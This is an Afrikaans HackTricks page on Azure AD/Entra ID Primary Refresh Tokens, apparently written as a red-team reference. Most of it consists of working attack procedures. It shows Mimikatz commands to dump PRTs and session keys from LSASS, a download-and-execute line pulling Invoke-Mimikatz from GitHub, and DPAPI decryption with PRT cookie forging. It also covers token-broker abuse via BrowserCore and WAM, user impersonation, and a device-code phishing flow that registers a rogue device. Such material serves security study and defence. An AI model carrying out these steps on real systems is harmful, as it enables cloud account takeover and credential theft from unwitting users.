# Az - Primêre Vernuwings Teken (PRT)

{{#include ../../../banners/hacktricks-training.md}}

## Wat is 'n Primêre Vernuwings Teken (PRT)?

'n **Primêre Vernuwings Teken (PRT)** is 'n langlewe vernuwings teken wat in Azure AD (Entra ID) verifikasie gebruik word, soortgelyk aan 'n Kerberos TGT. Dit word uitgereik wanneer 'n gebruiker aanmeld op 'n Azure AD-verbonden toestel en kan gebruik word om toegangsteke vir verskeie toepassings aan te vra sonder om weer geloofsbriewe te vra. Elke PRT word vergesel deur 'n **sessiesleutel** (ook genoem 'n Bewys-van-Besit sleutel) -- 'n simmetriese sleutel wat gebruik word om versoeke te teken en te bewys dat die kliënt die PRT het. Die PRT self is 'n ondoorgrondelike, versleutelde blob (nie leesbaar deur die kliënt nie), terwyl die sessiesleutel gebruik word om 'n JWT wat die PRT bevat te **teken** wanneer toegangsteke aangevra word. Met ander woorde, besit van die PRT alleen is onvoldoende; 'n aanvaller het die sessiesleutel nodig om legitimiteit te bewys, soortgelyk aan die behoefte aan beide 'n Kerberos TGT en sy sessiesleutel vir verifikasie.

Op Windows word die PRT en sessiesleutel in die LSASS-proses gebuffer via die CloudAP-inprop. As 'n toestel 'n **TPM** (Trusted Platform Module) het, bind Azure AD sleutels aan die TPM vir ekstra sekuriteit. Dit beteken dat op TPM-geskikte toestelle, die sessiesleutel gestoor of gebruik word binne die TPM sodat dit nie direk uit geheue gelees kan word nie onder normale omstandighede. As daar geen TPM beskikbaar is nie (bv. baie VM's of ouer stelsels), word die sleutels in sagteware gehou en beskerm met DPAPI-versleuteling. In beide gevalle kan 'n aanvaller met administratiewe regte of kode-uitvoering op die masjien probeer om die **PRT en sessiesleutel uit geheue te dump** as deel van post-exploitatie, en dit dan gebruik om die gebruiker in die wolk na te doen. Anders as tipiese vernuwings teken (wat gewoonlik toepassings-spesifiek is), is 'n PRT breër, wat jou toestel in staat stel om toegangsteke vir byna enige Entra ID-geïntegreerde hulpbron of diens aan te vra.

## Hoe Werk 'n PRT?

Hier is 'n vereenvoudigde uiteensetting van hoe 'n PRT werk:

1.  **Toestel Registrasie:**

-   Wanneer jou toestel (soos 'n Windows-laptop of mobiele telefoon) by Entra ID aansluit of registreer, verifieer dit met jou geloofsbriewe (gebruikersnaam/wagwoord/MFA).

-   Na suksesvolle verifikasie, stel Entra ID 'n PRT uit wat spesifiek aan jou toestel gebind is.

2.  **Teken Berging:**

-   Die PRT word veilig op jou toestel gestoor, dikwels beskerm deur hardeware funksies soos die Trusted Platform Module (TPM), wat verseker dat dit moeilik is vir ongeoorloofde partye om dit te onttrek of te misbruik.

3.  **Enkele Aanmelding (SSO):**

-   Elke keer wanneer jy toegang tot 'n Entra ID-beskermde toepassing (bv. Microsoft 365 toepassings, SharePoint, Teams) verkry, gebruik jou toestel stilweg die gestoor PRT om 'n spesifieke toegangsteken vir daardie toepassing aan te vra en te verkry.

-   Jy hoef nie jou geloofsbriewe herhaaldelik in te voer nie omdat die PRT verifikasie deursigtig hanteer.

4.  **Vernuwing en Sekuriteit:**

-   PRT's het 'n lang leeftyd (tipies rondom 14 dae), maar word voortdurend vernuwe solank jou toestel aktief in gebruik is.

-   As jou toestel gecompromitteer of verlore raak, kan administrateurs jou PRT op afstand intrek, wat onmiddellik ongeoorloofde toegang blokkeer.

### Waarom is PRT's Kragtig?

-   **Universale Toegang:** Anders as tipiese teken wat beperk is tot een toepassing of hulpbron, kan 'n PRT toegang tot alle Entra ID-geïntegreerde dienste fasiliteer.

-   **Verbeterde Sekuriteit:** Met ingeboude hardeware beskerming (soos TPM), verseker PRT's veilige teken berging en gebruik.

-   **Gebruikerservaring:** PRT's verbeter die gebruikerservaring aansienlik deur gereelde verifikasie versoeke te verminder en werklike naatlose SSO moontlik te maak.

## Hoe om te weet of 'n PRT teenwoordig is?

- Kontroleer of PRT teenwoordig is:
```bash
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
```
- Kontroleer of dit deur TPM beskerm word:
```bash
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
```
## Pas die PRT

Volgens [hierdie pos](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) op Windows-toestelle **sonder TPM-binding**, woon die PRT en sy sessiesleutel in LSASS (CloudAP-plug‑in). Met plaaslike admin/SYSTEM op daardie toestel, kan die PRT-blob en die DPAPI-gesleutelde sessiesleutel **van LSASS gelees word, die sessiesleutel via DPAPI ontsleutel word, en die ondertekeningsleutel afgelei** word om 'n geldige PRT-koekie (`x‑ms‑RefreshTokenCredential`) te maak. Jy het beide die PRT en sy sessiesleutel nodig—die PRT-string alleen is nie genoeg nie.

### Mimikatz

1. Die **PRT (Primêre Vernuwingsleutel) word uit LSASS** (Plaaslike Sekuriteitsowerheid Substelseldiens) onttrek en gestoor vir latere gebruik.
2. Die **Sessiesleutel word volgende onttrek**. Aangesien hierdie sleutel aanvanklik uitgereik word en dan weer deur die plaaslike toestel her-gesleutel word, vereis dit ontsleuteling met 'n DPAPI-hoofsleutel. Gedetailleerde inligting oor DPAPI (Data Protection API) kan in hierdie hulpbronne gevind word: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) en vir 'n begrip van sy toepassing, verwys na [Pass-the-cookie aanval](az-pass-the-cookie.md).
3. Na die ontsleuteling van die Sessiesleutel, word die **afgeleide sleutel en konteks vir die PRT verkry**. Hierdie is noodsaaklik vir die **skepping van die PRT-koekie**. Spesifiek, die afgeleide sleutel word gebruik om die JWT (JSON Web Token) wat die koekie vorm, te onderteken. 'n Omvattende verduideliking van hierdie proses is deur Dirk-jan verskaf, beskikbaar [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
```bash
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```
Die **PRT-veld** bevat die geënkripteerde herlaaikas (tipies 'n base64-string), en KeyValue in die ProofOfPossessionKey is die DPAPI-geënkripteerde sessiesleutel (ook base64).

Kopieer dan die base64-blob van **`KeyValue`** binne die veld `ProofOfPossessionKey` uit die **`sekurlsa::cloudap`** uitvoer (dit is die sessiesleutel geënkripteer met DPAPI). Hierdie geënkripteerde sleutel kan nie soos dit is gebruik word nie – dit moet ontkrip word met die stelsel se DPAPI-akkrediteer.

Omdat DPAPI-enkripsie vir stelsels geheimenisse die masjien se stelselkonteks vereis, verhef jou token na SYSTEM en gebruik Mimikatz se DPAPI-modules om te ontkrip:
```bash
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
```
Die `token::elevate` sal SYSTEM naboots en die `dpapi::cloudapkd` opdrag met `/unprotect` sal die DPAPI meester sleutel gebruik om die verskafde KeyValue blob te ontsleutel. Dit lewer die duidelike teks sessiesleutel en ook die geassosieerde Afgeleide Sleutel en Konteks wat gebruik is vir ondertekening:
- **Duidelike sleutel** – die 32-byte sessiesleutel in platte teks (verteenwoordig as 'n hex string).
- **Afgeleide Sleutel** – 'n 32-byte sleutel afgelei van die sessiesleutel en 'n kontekswaarde (meer hieroor hieronder).
- **Konteks** – 'n 24-byte ewekansige konteks wat gebruik is toe die ondertekeningsleutel vir die PRT koekie afgelei is.

> [!NOTE]
> As dit nie vir jou werk om die gebruiker na te boots nie, kyk na die volgende afdeling met **`AADInternals`**.

Dan kan jy ook mimikatz gebruik om 'n geldige PRT koekie te genereer:
```bash
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
```
Mimikatz sal 'n geskrewe JWT (die `PRT koekie`) uitset na die lyn “Handtekening met sleutel”, wat die PRT bevat en onderteken is met die afgeleide sleutel. Hierdie JWT kan gekopieer word en dan in 'n websessie gebruik word. Byvoorbeeld, 'n aanvaller kan 'n blaaier oopmaak, na `login.microsoftonline.com` gaan, en 'n koekie genaamd `x-ms-RefreshTokenCredential` stel met die waarde wat hierdie JWT is. Wanneer die blaaiers herlaai of navigeer, sal Azure AD die sessie as geverifieer behandel (die PRT koekie word aangebied asof SSO plaasgevind het), en dit sal 'n magtigingskode of toegangstoken vir die gespesifiseerde hulpbron uitreik. In praktyk, sou 'n mens na 'n hulpbron soos Office 365 of Azure-portaal navigeer; die teenwoordigheid van 'n geldige PRT koekie beteken dat Azure AD toegang sal verleen sonder addisionele aanmelding (om MFA te omseil, aangesien die PRT reeds geverifieer is).

Jy kan ook **`roadtx`** en **`roadrecon`** met die PRT van die PRT koekie gebruik om die gebruiker na te boots *(TODO: Vind die presiese opdraglyne om roadtx/roadrecon te gebruik om akrediteer te verkry van 'n PRT)*.

### Mimikatz + AADInternals

Die **`AADInternals`** PowerShell-module kan ook gebruik word met die voorheen verkryde PRT en sessiesleutel om 'n geldige PRT-token te genereer. Dit is nuttig om die proses van die verkryging van 'n nuwe PRT-token met nonce te outomatiseer, wat gebruik kan word om toegangstokens vir Azure AD Graph API of ander hulpbronne te verkry:
```bash
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
```
Dit verkry 'n vars PRT-koekie (met 'n nonce) en gebruik dit dan om 'n toegangstoken vir die Azure AD Graph API te verkry (wat wolktoegang namens die gebruiker demonstreer). AADInternals abstraheer baie van die kriptografie en gebruik Windows-komponente of sy eie logika agter die skerms.

### Mimikatz + roadtx

- Verleng eers die PRT, wat dit in `roadtx.prt` sal stoor:
```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
```
- Nou kan ons **tokens versoek** met die interaktiewe blaaiert met `roadtx browserprtauth`. As ons die `roadtx describe` opdrag gebruik, sien ons die toegangstoken sluit 'n MFA-eis in omdat die PRT wat ek in hierdie geval gebruik het ook 'n MFA-eis gehad het.
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
```
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>

#### Mimikatz + roadrecon

Met die konteks en die afgeleide sleutel wat deur mimikatz gedump is, is dit moontlik om roadrecon te gebruik om 'n nuwe geskrewe koekie te genereer met:
```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```
## Misbruik van beskermde PRTs

Ten spyte van die genoemde beskermings, kan 'n aanvaller wat reeds 'n toestel gekompromitteer het (as 'n plaaslike gebruiker of selfs SYSTEM) steeds **die PRT misbruik om vars toegangstokens te verkry** deur Windows se eie token broker API's en sekuriteitskomponente te benut. In plaas daarvan om die ruwe PRT of sleutel te **onttrek**, vra die aanvaller eintlik **"aan" Windows om die PRT namens hulle te gebruik**. In die afdelings hieronder skets ons tans geldige tegnieke vir die misbruik van PRTs en hul sessiesleutels op opdatering Windows-toestelle waar TPM-beskermings van krag is. Al hierdie tegnieke neem aan dat daar post-exploit toegang op die teikenmasjien is, en **fokus op die misbruik van ingeboude verifikasievloei** (geen onopgeloste kwesbaarhede benodig nie).

### Windows Token Broker Argitektuur en SSO Vloei

Moderne Windows hanteer wolkverifikasie via 'n ingeboude **token broker** stapel, wat komponente in beide gebruikersmodus en LSASS (Local Security Authority) insluit. Sleutelstukke van hierdie argitektuur sluit in:

-   **LSASS CloudAP Plugin:** Wanneer 'n toestel Azure AD-verbonden is, laai LSASS wolkverifikasie-pakkette (bv. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) wat PRTs en token versoeke bestuur. LSASS (wat as SYSTEM loop) orkestreer PRT berging, vernuwing, en gebruik, en kommunikeer met die TPM om kriptografiese operasies uit te voer (soos om 'n PRT-uitdaging met die sessiesleutel te teken).

-   **Web Account Manager (WAM):** Die Windows Web Account Manager is 'n gebruikersmodus raamwerk (toeganklik via COM/WinRT API's) wat toelaat dat toepassings of blaaiers tokens vir wolk rekeninge versoek sonder om vir akrediteer te vra. WAM dien as 'n makelaar tussen gebruikers toepassings en die veilige LSASS/TPM-ondersteunde PRT. Byvoorbeeld, Microsoft's MSAL biblioteek en sekere OS-komponente gebruik WAM om stilweg tokens te verkry met die ingelogde gebruiker se PRT.

-   **BrowserCore.exe en Token Broker COM interfaces:** Vir blaaiers SSO, sluit Windows 'n komponent genaamd **BrowserCore.exe** in (geleë onder *Windows Security\BrowserCore*). Dit is 'n inheemse boodskapgasheer wat deur blaaiers (Edge, Chrome via 'n uitbreiding, ens.) gebruik word om 'n PRT-afgeleide SSO-token vir Azure AD aanmelding te verkry. Onder die oppervlak benut BrowserCore 'n COM objek wat deur `MicrosoftAccountTokenProvider.dll` verskaf word om 'n PRT-gebaseerde koekie/token te verkry. In wese is hierdie COM-koppelvlak 'n eerste-party "token broker" API wat enige proses wat as die gebruiker loop kan aanroep om 'n SSO-token te verkry (aangegee dat die gebruiker 'n geldige PRT in LSASS het).

Wanneer 'n Azure AD-verbonden gebruiker probeer om toegang tot 'n hulpbron te verkry (byvoorbeeld, die Azure Portal), is die vloei tipies: 'n toepassing roep WAM of BrowserCore se COM-koppelvlak aan, wat op sy beurt met LSASS kommunikeer. LSASS gebruik die PRT en sessiesleutel (beveilig deur TPM) om 'n **SSO-token** te produseer -- dikwels 'n **PRT koekie** genoem -- wat dan aan die toepassing of blaaiers teruggegee word. Die PRT koekie is 'n spesiale JWT wat die versleutelde PRT en 'n nonce bevat, onderteken met 'n sleutel wat afgelei is van die PRT se sessiesleutel. Hierdie koekie word aan Azure AD gestuur (in 'n `x-ms-RefreshTokenCredential` kop) om te bewys dat die toestel en gebruiker 'n geldige PRT het, wat Azure AD toelaat om standaard OAuth verfris- en toegangstokens vir verskeie toepassings uit te reik. Opmerklik is dat enige Multi-Factor Authentication (MFA) eis wat in die PRT teenwoordig is, in tokens wat via hierdie SSO-proses verkry word, sal wees, wat beteken dat PRT-afgeleide tokens MFA-beskermde hulpbronne kan bevredig.

### Gebruiker-Vlak Token Diefstal (Nie-Admin)

Wanneer 'n aanvaller **gebruikersvlak kode-uitvoering** het, stop die TPM-beskerming van PRT nie die aanvaller om tokens te verkry nie. Die aanvaller **benut ingeboude Windows Token Broker API's**:

#### **BrowserCore (MicrosoftAccountTokenProvider COM)**

BrowserCore stel 'n COM-klas (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) beskikbaar om PRT koekies te verkry. Hierdie COM API word wettiglik deur blaaiers (Chrome/Edge uitbreidings) vir Azure AD SSO aangeroep.

-   **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
```bash
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
```
*(Terugkeer 'n Azure AD verfris token of PRT koekie)*

- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**

ROADtoken sal **`BrowserCore.exe`** vanaf die regte gids uitvoer en dit gebruik om **'n PRT koekie te verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te autentiseer en **'n volhoubare verfris token te verkry**.

Om 'n geldige PRT koekie te genereer, is die eerste ding wat jy nodig het 'n nonce.\
Jy kan dit kry met:
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
Of deur [**roadrecon**](https://github.com/dirkjanm/ROADtools):
```bash
roadrecon auth prt-init
```
Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te verkry (voer die hulpmiddel uit vanaf 'n proses van die gebruiker om aan te val):
```bash
.\ROADtoken.exe <nonce>
```
As 'n eenlyn:
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Dan kan jy die **gegenereerde koekie** gebruik om **tokens** te **genereer** om in te **log** met Azure AD **Graph** of Microsoft Graph:
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
```
### **Web Account Manager (WAM) APIs**

Aanvallers gebruik wettige Microsoft-authentikasiebiblioteke (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) vanaf gebruikersvlakprosesse om stilletjies tokens te verkry deur TPM-beskermde PRT te benut.


-   **[aadprt](https://posts.specterops.io/)**
```bash
execute-assembly aadprt.exe
```
*(Haal PRT koekie via COM interfaces)*

-   **[listwamaccounts](https://posts.specterops.io/)**
```bash
execute-assembly listwamaccounts.exe
```
*(Lys Azure AD-rekeninge wat via WAM ingelogde is; identifiseer token teikens)*

-   **Generiese Voorbeeld (PowerShell met MSAL)**:
```powershell
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken
```
*(Stilweg 'n toegangstoken verkry deur PRT te benut)*

#### Administrateur / SISTEEM-Vlak Token Misbruik

As die aanvaller op **Administrateur of SISTEEM** opgradeer, kan hulle enige Azure AD ingelogde gebruiker direk naboots en dieselfde **COM/WAM token broker APIs** gebruik. TPM-beskermde PRT's voorkom nie hierdie legitieme token-uitreiking nie.

### **Gebruiker Nabootsing en Token Verkryging**

Admin/SISTEEM kan lopende sessies van ander gebruikers naboots om BrowserCore of WAM vir token-generasie aan te roep.

Vir hierdie, naboots net die gebruikersproses (bv. `explorer.exe`) en roep die token broker APIs aan met enige tegniek wat in die vorige afdeling kommentaar gelewer is.

### **Direkte LSASS & Token Broker Interaksie (Geavanceerd)**

'n Administrateur kan steeds met LSASS werk om die PRT te misbruik: byvoorbeeld, 'n admin kan kode in LSASS inspuit of interne CloudAP-funksies aanroep om LSASS te dwing om 'n token te genereer. Dirk-jan se navorsing het opgemerk dat 'n admin “met PRT sleutels in LSASS kan interaksie hê deur crypto APIs”. In praktyk kan dit beteken om LSASS se eie funksies te gebruik (deur 'n tegniek soos API hooking of RPC, indien beskikbaar) om 'n PRT koekie te genereer. 'n Ander benadering is om enige venster te benut waar die sessiesleutel in geheue mag verskyn – byvoorbeeld, op die oomblik van PRT-vernuwing of toestelregistrasie wanneer dit nie versleuteld is vir gebruik nie. Sulke aanvalle is aansienlik meer kompleks en situasioneel. 'n Meer direkte admin-taktiek is om bestaande token-handvatsels of caches te misbruik: LSASS cache onlangs uitgereikte verfrissingstokens vir toepassings in geheue (versleuteld met DPAPI). 'n Vasberade SISTEEM-aanvaller kan probeer om hierdie DPAPI-beskermde tokens (met die gebruiker se meester sleutel, wat 'n admin kan verkry) te onttrek om direk verfrissingstokens vir spesifieke toepassings te steel. Tog bly die maklikste en mees generiese metode nabootsing en gebruik van die gedokumenteerde token broker interfaces, aangesien hierdie waarborg dat Azure AD vars tokens sal uitreik (met al die behoorlike aansprake) eerder as om te probeer om versleuteling te kraak.

## Phishing PRTs

Misbruik die **OAuth Device Code** vloei met die **Microsoft Authentication Broker kliënt ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) en die **Device Registration Service (DRS)** hulpbron om 'n **verfrissingstoken te verkry wat opgegradeer kan word na 'n Primêre Verfrissingstoken (PRT)** nadat 'n **rogue toestel** geregistreer is.

### **Waarom dit werk**

-   **PRT** is **toestel-gebound** en stel **SSO vir (byna) enige Entra-beskermde app** in staat.
-   Die **Broker kliënt + DRS** kombinasie laat 'n gephishde **verfrissingstoken** toe om **verruil te word vir 'n PRT** sodra 'n toestel geregistreer is.
-   **MFA word nie omseil nie**: die **gebruiker voer MFA** uit tydens die phish; **MFA aansprake versprei** in die resulterende PRT, wat die aanvaller toelaat om toegang tot toepassings te verkry **sonder verdere vrae**.

**Vereistes**:

-   **Gebruikersverifikasie via Toestelkode** met die **Broker kliënt ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) en **DRS skope/hulpbron** (bv. **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** of **`https://enrollment.manage.microsoft.com/`**).
-   **Gebruiker kan toestelle registreer** in Entra ID (**standaard: toegelaat**, maar kan beperk of kwota-beperk wees).
-   **Geen blokkerende CA-beleide** wat **Toestelkode** deaktiveer of **kompeterende/hibridetoestelle** vereis vir teikentoepassings nie (daardie sal nie PRT-uitreiking stop nie, maar **sal** die **gebruik** daarvan om toegang tot beskermde toepassings te verkry blokkeer).
-   **Aanvaller-beheerde gasheer** om die vloei te laat loop en die tokens/toestelsleutels te hou.

**Aanval Vloei**:

1.  **Begin Toestelkode verifikasie** met **client_id = Broker** en **DRS skoop/hulpbron**; wys die **gebruiker kode** aan die slagoffer.
```bash
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
```
2.  **Slachtoffer teken in op Microsoft se webwerf** (legitieme UI) en voltooi **MFA** → **aanvaller ontvang 'n DRS‑geskepte verfrissingstoken** vir die Broker-kliënt.

3.  **Registreer 'n rogue toestel** in die tenant met behulp van daardie verfrissingstoken (toestelobjek word geskep en aan die slachtoffer gekoppel).

4.  **Opgradeer na 'n PRT** deur die **verfrissingstoken + toestelidentiteit/sluitings** te ruil → **PRT** gebonde aan die aanvaller se toestel.

5.  **(Opsionele volharding)**: as MFA vars was, **registreer 'n Windows Hello for Business-sleutel** om **langtermyn, wagwoordlose toegang** te handhaaf.

6.  **Misbruik**: verlos die **PRT** (of maak 'n **PRT-koekie**) om **toegangstokens** vir **Exchange/Graph/SharePoint/Teams/pasgemaakte toepassings** as die gebruiker te verkry.


### Publieke Gereedskap en Bewys-van-Konsepte

- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automatiseer OAuth-stroom, toestelregistrasie, en token-opgraderings.
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Enkel-opdrag skrip wat toestelkode phish-to-PRT+WHfB sleutels automatiseer.


## Verwysings

- [Dirkjan se blogpos oor PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
- [Dirkjan se pos oor phishing PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
- [Dirkjan se pos oor die misbruik van PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- SpecterOps pos oor [Aansoek om Azure AD Aansoek Tokens](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
- [AADInternals pos oor PRTs](https://aadinternals.com/post/prt/)
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)

{{#include ../../../banners/hacktricks-training.md}}
